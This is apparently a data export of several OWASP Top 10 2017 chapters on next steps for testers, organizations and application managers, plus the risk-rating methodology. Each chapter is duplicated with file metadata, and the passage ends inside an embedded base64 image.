Whether you are new to web application security or already very familiar with these risks, the task of producing a secure web application or fixing an existing one can be difficult. If you have to manage a large application portfolio, this task can be daunting.
To help organizations and developers reduce their application security risks in a cost-effective manner, OWASP has produced numerous free and open resources that you can use to address application security in your organization. The following are some of the many resources OWASP has produced to help organizations produce secure web applications and APIs. On the next page, we present additional OWASP resources that can assist organizations in verifying the security of their applications and APIs.
| Activity | Description |
| --- | --- |
| Application Security Requirements | To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/ASVS) as a guide for setting the security requirements for your application(s). If you’re outsourcing, consider the [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex). **Note**: The annex is for US contract law, so please consult qualified legal advice before using the sample annex. |
| Application Security Architecture | Rather than retrofitting security into your applications and APIs, it is far more cost effective to design the security in from the start. OWASP recommends the [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) as a good starting point for guidance on how to design security in from the beginning. |
| Security Standard Controls | Building strong and usable security controls is difficult. Using a set of standard security controls radically simplifies the development of secure applications and APIs. The [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) is a good starting point for developers, and many modern frameworks now come with standard and effective security controls for authorization, validation, CSRF prevention, etc. |
| Secure Development Lifecycle | To improve the process your organization follows when building applications and APIs, OWASP recommends the [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization. |
| Application Security Education | The [OWASP Education Project](https://www.owasp.org/index.php/Category:OWASP_Education_Project) provides training materials to help educate developers on web application security. For hands-on learning about vulnerabilities, try [OWASP WebGoat](https://www.owasp.org/index.php/WebGoat), [WebGoat.NET](https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET), [OWASP NodeJS Goat](https://www.owasp.org/index.php/OWASP_Node_js_Goat_Project), [OWASP Juice Shop Project](https://www.owasp.org/index.php/OWASP_Juice_Shop_Project) or the [OWASP Broken Web Applications Project](https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project). To stay current, come to an [OWASP AppSec Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference), [OWASP Conference Training](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference), or local [OWASP Chapter meetings](https://www.owasp.org/index.php/Category:OWASP_Chapter). |
There are numerous additional OWASP resources available for your use. Please visit the [OWASP Projects](https://www.owasp.org/index.php/Projects) page, which lists all the Flagship, Labs, and Incubator projects in the OWASP project inventory. Most OWASP resources are available on our [wiki](https://www.owasp.org/), and many OWASP documents can be ordered in [hardcopy or as eBooks](https://stores.lulu.com/owasp).
|
0xb1-next-testing.md | ./Top10/2017/en/0xb1-next-testing.md | # +T What's Next for Security Testers
## Establish Continuous Application Security Testing
Building code securely is important. But it’s critical to verify that the security you intended to build is actually present, correctly implemented, and used everywhere it is supposed to be. The goal of application security testing is to provide this evidence. The work is difficult and complex, and modern high-speed development processes like Agile and DevOps have put extreme pressure on traditional approaches and tools. So we strongly encourage you to put some thought into how you are going to focus on what’s important across your entire application portfolio, and do it cost-effectively.
Modern risks move quickly, so the days of scanning or penetration testing an application for vulnerabilities once every year or so are long gone. Modern software development requires continuous application security testing across the entire software development lifecycle. Look to enhance existing development pipelines with security automation that doesn’t slow development. Whatever approach you choose, consider the annual cost to test, triage, remediate, retest, and redeploy a single application, multiplied by the size of your application portfolio.
| Activity | Description |
| --- | --- |
| Understand the Threat Model | Before you start testing, be sure you understand what’s important to spend time on. Priorities come from the threat model, so if you don’t have one, you need to create one before testing. Consider using [OWASP ASVS](https://www.owasp.org/index.php/ASVS) and the [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) as an input and don’t rely on tool vendors to decide what’s important for your business. |
| Understand Your SDLC | Your approach to application security testing must be highly compatible with the people, processes, and tools you use in your software development lifecycle (SDLC). Attempts to force extra steps, gates, and reviews are likely to cause friction, get bypassed, and struggle to scale. Look for natural opportunities to gather security information and feed it back into your process. |
| Testing Strategies | Choose the simplest, fastest, most accurate technique to verify each requirement. The [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) and [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/ASVS) can be great sources of functional and nonfunctional security requirements in your unit and integration testing. Be sure to consider the human resources required to deal with false positives from the use of automated tooling as well as the serious dangers of false negatives.
| Achieving Coverage and Accuracy | You don’t have to start out testing everything. Focus on what’s important and expand your verification program over time. That means expanding the set of security defenses and risks that are being automatically verified as well as expanding the set of applications and APIs being covered. The goal is to achieve a state where the essential security of all your applications and APIs is verified continuously. |
| Clearly Communicate Findings | No matter how good you are at testing, it won’t make any difference unless you communicate it effectively. Build trust by showing you understand how the application works. Describe clearly how it can be abused without “lingo” and include an attack scenario to make it real. Make a realistic estimation of how hard the vulnerability is to discover and exploit, and how bad that would be. Finally, deliver findings in the tools development teams are already using, not PDF files. |
| 3,702 | 0.003553 | # +T What's Next for Security Testers
## Establish Continuous Application Security Testing
Building code securely is important. But it’s critical to verify that the security you intended to build is actually present, correctly implemented, and used everywhere it is supposed to be. The goal of application security testing is to provide this evidence. The work is difficult and complex, and modern high-speed development processes like Agile and DevOps have put extreme pressure on traditional approaches and tools. So we strongly encourage you to put some thought into how you are going to focus on what’s important across your entire application portfolio, and do it cost-effectively.
Modern risks move quickly, so the days of scanning or penetration testing an application for vulnerabilities once every year or so are long gone. Modern software development requires continuous application security testing across the entire software development lifecycle. Look to enhance existing development pipelines with security automation that doesn’t slow development. Whatever approach you choose, consider the annual cost to test, triage, remediate, retest, and redeploy a single application, multiplied by the size of your application portfolio.
| Activity | Description |
| --- | --- |
| Understand the Threat Model | Before you start testing, be sure you understand what’s important to spend time on. Priorities come from the threat model, so if you don’t have one, you need to create one before testing. Consider using [OWASP ASVS](https://www.owasp.org/index.php/ASVS) and the [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) as an input and don’t rely on tool vendors to decide what’s important for your business. |
| Understand Your SDLC | Your approach to application security testing must be highly compatible with the people, processes, and tools you use in your software development lifecycle (SDLC). Attempts to force extra steps, gates, and reviews are likely to cause friction, get bypassed, and struggle to scale. Look for natural opportunities to gather security information and feed it back into your process. |
| Testing Strategies | Choose the simplest, fastest, most accurate technique to verify each requirement. The [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) and [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/ASVS) can be great sources of functional and nonfunctional security requirements in your unit and integration testing. Be sure to consider the human resources required to deal with false positives from the use of automated tooling as well as the serious dangers of false negatives.
| Achieving Coverage and Accuracy | You don’t have to start out testing everything. Focus on what’s important and expand your verification program over time. That means expanding the set of security defenses and risks that are being automatically verified as well as expanding the set of applications and APIs being covered. The goal is to achieve a state where the essential security of all your applications and APIs is verified continuously. |
| Clearly Communicate Findings | No matter how good you are at testing, it won’t make any difference unless you communicate it effectively. Build trust by showing you understand how the application works. Describe clearly how it can be abused without “lingo” and include an attack scenario to make it real. Make a realistic estimation of how hard the vulnerability is to discover and exploit, and how bad that would be. Finally, deliver findings in the tools development teams are already using, not PDF files. |
|
0xb2-next-org.md | ./Top10/2017/en/0xb2-next-org.md | # +O What's Next for Organizations
## Start Your Application Security Program Now
Application security is no longer optional. Between increasing attacks and regulatory pressures, organizations must establish effective processes and capabilities for securing their applications and APIs. Given the staggering amount of code in the numerous applications and APIs already in production, many organizations are struggling to get a handle on the enormous volume of vulnerabilities.
OWASP recommends organizations establish an application security program to gain insight and improve security across their applications and APIs. Achieving application security requires many different parts of an organization to work together efficiently, including security and audit, software development, business, and executive management. Security should be visible and measurable, so that all the different players can see and understand the organization’s application security posture. Focus on the activities and outcomes that actually help improve enterprise security by eliminating or reducing risk. [OWASP SAMM](https://www.owasp.org/index.php/OWASP_SAMM_Project) and the [OWASP Application Security Guide for CISOs](https://www.owasp.org/index.php/Application_Security_Guide_For_CISOs) is the source of most of the key activities in this list.
### Get Started
* Document all applications and associated data assets. Larger organizations should consider implementing a Configuration Management Database (CMDB) for this purpose.
* Establish an [application security program](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_1) and drive adoption.
* Conduct a [capability gap analysis](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_3) comparing your organization to your peers to define key
improvement areas and an execution plan.
* Gain management approval and establish an [application security awareness campaign](https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_1) for the entire IT organization.
### Risk Based Portfolio Approach
* Identify the [protection needs](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2) of your [application portfolio](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2) from a business perspective. This should be driven in part by privacy laws and other regulations relevant to the data asset being protected.
* Establish a common [risk rating model](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) with a consistent set of likelihood and impact factors reflective of your organization's tolerance for risk.
* Accordingly measure and prioritize all your applications and APIs. Add the results to your CMDB.
* Establish assurance guidelines to properly define coverage and level of rigor required.
### Enable with a Strong Foundation
* Establish a set of focused [policies and standards](https://www.owasp.org/index.php/SAMM_-_Policy_&_Compliance_-_2) that provide an application security baseline for all development teams to adhere to.
* Define a common set of [reusable security controls](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) that complement these policies and standards and provide design and development guidance on their use.
* Establish an [application security training curriculum](https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_2) that is required and targeted to different development roles and topics.
### Integrate Security into Existing Processes
* Define and integrate [secure implementation](https://www.owasp.org/index.php/SAMM_-_Construction) and [verification](https://www.owasp.org/index.php/SAMM_-_Verification) activities into existing development and operational processes.
* Activities include [threat modeling](https://www.owasp.org/index.php/SAMM_-_Threat_Assessment_-_1), secure [design and design review](https://www.owasp.org/index.php/SAMM_-_Design_Review_-_1), secure coding and [code review](https://www.owasp.org/index.php/SAMM_-_Code_Review_-_1), [penetration testing](https://www.owasp.org/index.php/SAMM_-_Security_Testing_-_1), and remediation.
* Provide subject matter experts and [support services for development and project teams](https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_3) to be successful.
### Provide Management Visibility
* Manage with metrics. Drive improvement and funding decisions based on the metrics and analysis data captured. Metrics include adherence to security practices and activities, vulnerabilities introduced, vulnerabilities mitigated, application coverage, defect density by type and instance counts, etc.
* Analyze data from the implementation and verification activities to look for root cause and vulnerability patterns to drive strategic and systemic improvements across the enterprise. Learn from mistakes and offer positive incentives to promote improvements
| 4,910 | 0.004684 | # +O What's Next for Organizations
## Start Your Application Security Program Now
Application security is no longer optional. Between increasing attacks and regulatory pressures, organizations must establish effective processes and capabilities for securing their applications and APIs. Given the staggering amount of code in the numerous applications and APIs already in production, many organizations are struggling to get a handle on the enormous volume of vulnerabilities.
OWASP recommends organizations establish an application security program to gain insight and improve security across their applications and APIs. Achieving application security requires many different parts of an organization to work together efficiently, including security and audit, software development, business, and executive management. Security should be visible and measurable, so that all the different players can see and understand the organization’s application security posture. Focus on the activities and outcomes that actually help improve enterprise security by eliminating or reducing risk. [OWASP SAMM](https://www.owasp.org/index.php/OWASP_SAMM_Project) and the [OWASP Application Security Guide for CISOs](https://www.owasp.org/index.php/Application_Security_Guide_For_CISOs) is the source of most of the key activities in this list.
### Get Started
* Document all applications and associated data assets. Larger organizations should consider implementing a Configuration Management Database (CMDB) for this purpose.
* Establish an [application security program](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_1) and drive adoption.
* Conduct a [capability gap analysis](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_3) comparing your organization to your peers to define key
improvement areas and an execution plan.
* Gain management approval and establish an [application security awareness campaign](https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_1) for the entire IT organization.
### Risk Based Portfolio Approach
* Identify the [protection needs](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2) of your [application portfolio](https://www.owasp.org/index.php/SAMM_-_Strategy_&_Metrics_-_2) from a business perspective. This should be driven in part by privacy laws and other regulations relevant to the data asset being protected.
* Establish a common [risk rating model](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) with a consistent set of likelihood and impact factors reflective of your organization's tolerance for risk.
* Accordingly measure and prioritize all your applications and APIs. Add the results to your CMDB.
* Establish assurance guidelines to properly define coverage and level of rigor required.
### Enable with a Strong Foundation
* Establish a set of focused [policies and standards](https://www.owasp.org/index.php/SAMM_-_Policy_&_Compliance_-_2) that provide an application security baseline for all development teams to adhere to.
* Define a common set of [reusable security controls](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) that complement these policies and standards and provide design and development guidance on their use.
* Establish an [application security training curriculum](https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_2) that is required and targeted to different development roles and topics.
### Integrate Security into Existing Processes
* Define and integrate [secure implementation](https://www.owasp.org/index.php/SAMM_-_Construction) and [verification](https://www.owasp.org/index.php/SAMM_-_Verification) activities into existing development and operational processes.
* Activities include [threat modeling](https://www.owasp.org/index.php/SAMM_-_Threat_Assessment_-_1), secure [design and design review](https://www.owasp.org/index.php/SAMM_-_Design_Review_-_1), secure coding and [code review](https://www.owasp.org/index.php/SAMM_-_Code_Review_-_1), [penetration testing](https://www.owasp.org/index.php/SAMM_-_Security_Testing_-_1), and remediation.
* Provide subject matter experts and [support services for development and project teams](https://www.owasp.org/index.php/SAMM_-_Education_&_Guidance_-_3) to be successful.
### Provide Management Visibility
* Manage with metrics. Drive improvement and funding decisions based on the metrics and analysis data captured. Metrics include adherence to security practices and activities, vulnerabilities introduced, vulnerabilities mitigated, application coverage, defect density by type and instance counts, etc.
* Analyze data from the implementation and verification activities to look for root cause and vulnerability patterns to drive strategic and systemic improvements across the enterprise. Learn from mistakes and offer positive incentives to promote improvements
|
0xb3-next-app-mgrs.md | ./Top10/2017/en/0xb3-next-app-mgrs.md | # +A: What's next for Application Managers
## Manage the Full Application Lifecycle
Applications belong to the most complex systems humans regularly create and maintain. IT management for an application should be performed by IT specialists who are responsible for the overall IT lifecycle of an application. We suggest establishing the role of application manager as technical counterpart to the application owner. The application manager is in charge of the whole application lifecycle from the IT perspective, from collecting the requirements until the process of retiring systems, which is often overlooked.
## Requirements and Resource Management
* Collect and negotiate the business requirements for an application with the business, including the protection requirements with regard to confidentiality, authenticity, integrity and availability of all data assets, and the expected business logic.
* Compile the technical requirements including functional and nonfunctional security requirements.
* Plan and negotiate the budget that covers all aspects of design, build, testing and operation, including security activities.
## Request for Proposals (RFP) and Contracting
* Negotiate the requirements with internal or external developers, including guidelines and security requirements with respect to your security program, e.g. SDLC, best practices.
* Rate the fulfillment of all technical requirements, including a planning and design phase.
* Negotiate all technical requirements, including design, security, and service level agreements (SLA).
* Adopt templates and checklists, such as [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex). **Note**: The annex is for US contract law, so please consult qualified legal advice before using the sample annex.
## Planning and Design
* Negotiate planning and design with the developers and internal shareholders, e.g. security specialists.
* Define the security architecture, controls, and countermeasures appropriate to the protection needs and the expected threat level. This should be supported by security specialists.
* Ensure that the application owner accepts remaining risks or provides additional resources.
* In each sprint, ensure security stories are created that include constraints added for non-functional requirements.
## Deployment, Testing, and Rollout
* Automate the secure deployment of the application, interfaces and all required components, including needed authorizations.
* Test the technical functions and integration with the IT architecture and coordinate business tests.
* Create "use" and "abuse" test cases from technical and business perspectives.
* Manage security tests according to internal processes, the protection needs, and the assumed threat level by the application.
* Put the application in operation and migrate from previously used applications if needed.
* Finalize all documentation, including the CMDB and security architecture.
## Operations and Change Management
* Operations must include guidelines for the security management of the application (e.g. patch management).
* Raise the security awareness of users and manage conflicts about usability vs. security.
* Plan and manage changes, e.g. migrate to new versions of the application or other components like OS, middleware, and libraries.
* Update all documentation, including in the change management data base (CMDB) and the security architecture, controls, and countermeasures, including any runbooks or project documentation.
## Retiring Systems
* Any required data should be archived. All other data should be securely wiped.
* Securely retire the application, including deleting unused accounts and roles and permissions.
* Set your application's state to retired in the CMDB.
| 3,814 | 0.003637 | # +A: What's next for Application Managers
## Manage the Full Application Lifecycle
Applications belong to the most complex systems humans regularly create and maintain. IT management for an application should be performed by IT specialists who are responsible for the overall IT lifecycle of an application. We suggest establishing the role of application manager as technical counterpart to the application owner. The application manager is in charge of the whole application lifecycle from the IT perspective, from collecting the requirements until the process of retiring systems, which is often overlooked.
## Requirements and Resource Management
* Collect and negotiate the business requirements for an application with the business, including the protection requirements with regard to confidentiality, authenticity, integrity and availability of all data assets, and the expected business logic.
* Compile the technical requirements including functional and nonfunctional security requirements.
* Plan and negotiate the budget that covers all aspects of design, build, testing and operation, including security activities.
## Request for Proposals (RFP) and Contracting
* Negotiate the requirements with internal or external developers, including guidelines and security requirements with respect to your security program, e.g. SDLC, best practices.
* Rate the fulfillment of all technical requirements, including a planning and design phase.
* Negotiate all technical requirements, including design, security, and service level agreements (SLA).
* Adopt templates and checklists, such as [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex). **Note**: The annex is for US contract law, so please consult qualified legal advice before using the sample annex.
## Planning and Design
* Negotiate planning and design with the developers and internal shareholders, e.g. security specialists.
* Define the security architecture, controls, and countermeasures appropriate to the protection needs and the expected threat level. This should be supported by security specialists.
* Ensure that the application owner accepts remaining risks or provides additional resources.
* In each sprint, ensure security stories are created that include constraints added for non-functional requirements.
## Deployment, Testing, and Rollout
* Automate the secure deployment of the application, interfaces and all required components, including needed authorizations.
* Test the technical functions and integration with the IT architecture and coordinate business tests.
* Create "use" and "abuse" test cases from technical and business perspectives.
* Manage security tests according to internal processes, the protection needs, and the assumed threat level by the application.
* Put the application in operation and migrate from previously used applications if needed.
* Finalize all documentation, including the CMDB and security architecture.
## Operations and Change Management
* Operations must include guidelines for the security management of the application (e.g. patch management).
* Raise the security awareness of users and manage conflicts about usability vs. security.
* Plan and manage changes, e.g. migrate to new versions of the application or other components like OS, middleware, and libraries.
* Update all documentation, including in the change management data base (CMDB) and the security architecture, controls, and countermeasures, including any runbooks or project documentation.
## Retiring Systems
* Any required data should be archived. All other data should be securely wiped.
* Securely retire the application, including deleting unused accounts and roles and permissions.
* Set your application's state to retired in the CMDB.
|
0xc0-note-about-risks.md | ./Top10/2017/en/0xc0-note-about-risks.md | # +R Note About Risks
## It's About the Risks that Weaknesses Represent
The Risk Rating methodology for the Top 10 is based on the [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology). For each Top 10 category, we estimated the typical risk that each weakness introduces to a typical web application by looking at common likelihood factors and impact factors for each common weakness. We then ordered the Top 10 according to those weaknesses that typically introduce the most significant risk to an application. These factors get updated with each new Top 10 release as things change and evolve.
The [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) defines numerous factors to help calculate the risk of an identified vulnerability. However, the Top 10 must talk about generalities, rather than specific vulnerabilities in real applications and APIs. Consequently, we can never be as precise as application owners or managers when calculating risks for their application(s). You are best equipped to judge the importance of your applications and data, what your threats are, and how your system has been built and is being operated.
Our methodology includes three likelihood factors for each weakness (prevalence, detectability, and ease of exploit) and one impact factor (technical impact). The risk scales for each factor range from 1-Low to 3-High with terminology specific for each factor. The prevalence of a weakness is a factor that you typically don't have to calculate. For prevalence data, we have been supplied prevalence statistics from a number of different organizations (as referenced in the Acknowledgements on page 25), and we have aggregated their data together to come up with a Top 10 likelihood of existence list by prevalence. This data was then combined with the other two likelihood factors (detectability and ease of exploit) to calculate a likelihood rating for each weakness. The likelihood rating was then multiplied by our estimated average technical impact for each item to come up with an overall risk ranking for each item in the Top 10 (the higher the result the higher the risk). Detectability, Ease of Exploit, and Impact were calculated from analyzing reported CVEs that were associated with each of the Top 10 categories.
**Note**: This approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating does not take into account the actual impact on your business. Your organization will have to decide how much security risk from applications and APIs the organization is willing to accept given your culture, industry, and regulatory environment. The purpose of the OWASP Top 10 is not to do this risk analysis for you.
The following illustrates our calculation of the risk for **A6:2017-Security Misconfiguration**
![Risk Calculation for A6:2017-Security Misconfiguration](images/0xc0-risk-explanation.png)
| 3,206 | 0.003057 | # +R Note About Risks
## It's About the Risks that Weaknesses Represent
The Risk Rating methodology for the Top 10 is based on the [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology). For each Top 10 category, we estimated the typical risk that each weakness introduces to a typical web application by looking at common likelihood factors and impact factors for each common weakness. We then ordered the Top 10 according to those weaknesses that typically introduce the most significant risk to an application. These factors get updated with each new Top 10 release as things change and evolve.
The [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) defines numerous factors to help calculate the risk of an identified vulnerability. However, the Top 10 must talk about generalities, rather than specific vulnerabilities in real applications and APIs. Consequently, we can never be as precise as application owners or managers when calculating risks for their application(s). You are best equipped to judge the importance of your applications and data, what your threats are, and how your system has been built and is being operated.
Our methodology includes three likelihood factors for each weakness (prevalence, detectability, and ease of exploit) and one impact factor (technical impact). The risk scales for each factor range from 1-Low to 3-High with terminology specific for each factor. The prevalence of a weakness is a factor that you typically don't have to calculate. For prevalence data, we have been supplied prevalence statistics from a number of different organizations (as referenced in the Acknowledgements on page 25), and we have aggregated their data together to come up with a Top 10 likelihood of existence list by prevalence. This data was then combined with the other two likelihood factors (detectability and ease of exploit) to calculate a likelihood rating for each weakness. The likelihood rating was then multiplied by our estimated average technical impact for each item to come up with an overall risk ranking for each item in the Top 10 (the higher the result the higher the risk). Detectability, Ease of Exploit, and Impact were calculated from analyzing reported CVEs that were associated with each of the Top 10 categories.
**Note**: This approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating does not take into account the actual impact on your business. Your organization will have to decide how much security risk from applications and APIs the organization is willing to accept given your culture, industry, and regulatory environment. The purpose of the OWASP Top 10 is not to do this risk analysis for you.
The following illustrates our calculation of the risk for **A6:2017-Security Misconfiguration**
![Risk Calculation for A6:2017-Security Misconfiguration](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAjAAAADyCAYAAABTTv/5AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAhdEVYdENyZWF0aW9uIFRpbWUAMjAxNzoxMToxOCAyMzo1NzoxMRFahU0AAFTxSURBVHhe7Z0HmBRF+sa/TeyyAdhdlpyzgoCAgAICYjgDCIIBOUUxn/5PBbOegGe4U0G50/NOBUwIRpJiAkFBkoAEJccls8CysDn++63pmu0dZmbTzOzMzvt7ntrtru7p6amp6Xrrq6++CikyEEIIIYSQACLU/E8IIYQQEjBQwBBCCCEk4LAPIYWEhKgMQgghhBB/p4SA6d2rr/Tu3VcdIKQ6ceBAsnz+xcdqe8zt90mtWrXVNiHVCdRx1PUmTZrJiOE3m7mEVB9On06TadPfUtslBMxDDz4hDz30pDpASHVi5cplctPIq9X2sqWb1AOekOoG6jjqOjqis2Z+beYSUn2AQO/b7zy1TR8YQgghhAQcFDCEEEIICTgoYAghhBAScFDAEEIIISTgoIAhhBBCSMBBAUMIIYSQgIMChhBCCCEBBwUMIYQQUgoImeYuFRYW2lNBQYHTZD3H2TWsiZQOA9n5OboiV+dKjbqnl7LQ/z1NsAWyC4Z6UxVY66m36mplYCC7ymP9vejfT1ZWuuTm5ai802kn1H+Qk5sp+fm55p5JaT83h2oTGhouUVExRrbtQGxcHSMvTMLDIiQmptZZdc0f650vsQayo4DxY/DVQLVv3rxC0jNOm7nVk5iYOOl47kUSFhbmlR9oMAkYXW8WfPOx1K2baOYST+HtuloZKGDKj9kEKqtIhvGczcw6I9lZGZKReUry8nIlMzPd+M5jDZERpc5LSqqr/oO4uDh7fkXJy8uTU6dOmXsiJ06cVPeCfITNr1kzRmrUiDT+1zLeK1qia8YZ7xuv6p5OwUS1FDAnjqfLz0u2ye5dKWq/abNEuXhAO2nQMHDXvEEjlJ2TLRs2LJFrrrnGzK2efPXVV9KlywCJioxSDYOnCSYBo+vNp5/+T8aNG2fmEk/h7bpaGShgyg6aPgiF1FPHJDX1qCEiUgyRUFOJkri4WEOoJElERITUrl21bciZM2ckJydHTp48KWdOn5Ez6emSnn7GuMcESUxoJAkJ9SU0NDRohEy1W0pg/bp98vz4efLt15tk+9YjKi36/g+Vh/+BiO3HZTREWZlmTvUHnxWfWfeISPkJxnpTFbCuBjYQLpmZZ2TT78sM8XJAmjatL5dddqkMGnSJ9Ox5gZxzzjlSt27dKhcvAIIK99KuXTvp3qO7DBjQX6644gpp3bqZIWaOqM+QdtpmtQk2yiVgsrNz5eEHX5Frr3nQnu64bbws/GGl+p+bm2ee6TtgeXn3vz8blTFX2nVoIOMe/5NKgy7vKHl5BfLpzF+VoAlE8HDMzXUYX63G4LOyQag8wVZvqgLW1cAF31t+fp7s2r1RunbtLH379pHmzZtLZGSkeYb/A8tQkyZN5MILe0vv3j1l16716jMFm4gpl4CJiqohr015VD6Y8bxERkXISy//Vaa+N1Eia9Qwz/AsaWln5IH7XnIrjL5dsEkJFS1e8B/phpEXyLAR3dU58+euV/8DDfzQgqlC4rOyUag8wVZvqgLW1cBFDbFmZ0t6eprs3LlTDdEEKpmZmbJ9+3bJycmWrKwsCpjK8MLz79qtMhAdS39ap7bHP/uWPP/cO4ZCLJAXzXOQpr47R70O5+k8JJx74sQpueuOibJ//xG57+7nXYqYPabPy3WmWLFy8cD26r8+hxBCSPAC0VlUVGgImCy136xZM1m5cpX88MNC2bhxkxw+fFiJAn8FvjBHjx6VP37/Q3788Uf5+eelkphoc9SHiMFnCyZh7TEBc/z4KbnxpsuVdeZMeoahbJNL5D/z7F3y2Sffy66d++WzL1+VTz5/RX7ftEM2b94l/fp3k7lfTVHplcljZd3aLcaXdEL+7/9ulrp168hbbz8jNWpEqOs5AusLCI8425kuwshD0ucEE9Pe/Ub6XfhX+Xr+CjPHcyz8fq1cefnjcvhQ8XRCEnig94kHojd56vF3VD3U6d9TZptHvAPrJikNWClghQENGjRQPiU9enSXqKhI2btnrxIFX3/1tSw1/q9bt062bNkiBw4cMNqy4yp5Gzjr4n0gpvDeEFa4lwULvpGFCxfJju07JDQsVDp37qx8dpo2bapel5+fTwtMRYHQaNPm7Jkd1vw9ew4qQXP9dY/IjSMeld27DsiK5Ztk+/Z9ct21Y5X15dGxk+2Vqyw0bZag/v+x6aD6bwW+LxAv+pxgAb5KmGkz5NqLjB/jJmX5AqmpZ+SWkS8ajVZeiW1/Az2I3Fz0Jmii9yZr166TWbM+kdOnvTNFH2Lit992yqdfjJelK/4l/5s6Tr78/GfZuGGXeYbnufTy7vLN9/+Uho0S/bqOk6rFsaGPjY2Vli1bSo8LeihRMPCSgdK2XVupU6eOOvfQwUOyZfMWlWbPnm1PsNxAXFQmwZJivebGjRvV+0BM4b0hrHAvF1/cTy6//DLp1buX0aa2OcvBOBiflx4dQiqNli0bK0EDC4y2uNxx51D5/NMf5OrBF6v9Rx4dbZ5dNi7s00b9/2ruelmxbIfaBhg2mvGBzfpwYZ/W6n+wsHv3YcnKzJFbb79Cdu44KCnHTqmH+fXXTZC9e4/IpQPGyZCrnlbbN9/wd6O3sbJEL/nxR9+2ix5rD9qar9m8eZ8M7PewR3rW+AEWFhbJsZQDsmHjz5KSclCJWQoZ79G6VUf5+utv5NixY2aOZ0k/kyXr1m5X2+ee21wWL31NOnex/R6tdctaf5zVOYih4dc+axfflw4cp4SQzh/70H/Uud9986uywGz+Y6+9vg8d/IyMuul5+3vg+s7qMiEaOMliaAbWDcz+Ob/b+dIbDrNGQkgLnWC5gbioTIIlxXrNPn36qPeBmMJ7Q1jhXgLJydhX+FTAjBx1pbRu01RZYLS/ixpC6tdN5s1ZrPY3bdohrVo3kUkvfyAJibXUw+q2W/8mR484Nwl3PK+x8nWBpeW9qb/IPbe/Jw/c/aH84/mv1Qyllq2TjOMdzLODg5XLN8tFfTtJ/frx0r59E9WAxMfHyRNP3iz16tWRhUsmyfiJo9X2x5/+Ta6+prfqIete8uqVW1QDgGGobVv3q/N/WPyqEkLffbPafBeR7779Ve65Y5JMeeMB+b8Hh5m5FQdCBZ702VlZ6gd7Jv2o7Nq1wfhuc4PONOorEhLqSZ+L/iSLFi1RJmtPAmsI6tk/Xpx5liBxrFu/rduhBElpdc4Zx4xzbjPE+j9fuVvCwmyPNGt9nzP/ebl9zJWy5MffJC0tQ44cSTV6s+dJeLh/xXAhgQcsN3hWVSb5w1TtQKVCAqZ27Tj59PNXjR6VrScFHxbMRoKfivWYNV/z1DN32q0vSPo8vf+XB25UM53wuo6d2siXcyfLx7P+IfUbuI4oOurWC+W2O/rYg9ZBzCTWjZXB13ZVM5PgBxMs6OGjT2ctVg3G0p83lRhGcoa2ouB8CBJ97s4dB6RNuyaqUcAMtGnvPyZXD75QHUPPeuo7CyQ2rqYkJdVReZUFAibPEDBwRosIj5ALjB5Io8b1ZMuWlSrIFK0x3iE2tpYMHDBElixeqvxiPAlEjBbH8xa8IGvXbFOCBHULwgPWwMsGPiI7th+Qn5ZsdFvnXAGR0r6D+8CE3S9oh2id8uvqrUbHJk26dTf2CSEBjU8tMN7kwr5tZeKLxVaAF18ZIdcM7RpU4gVg+AgPaO13oBsNWFRc8dH738t1Iy5W56PHrGnTtonsNBqWggJ47efKmNEv252CIVzwHtffMEAeuG+KR/wMCosKJT8vT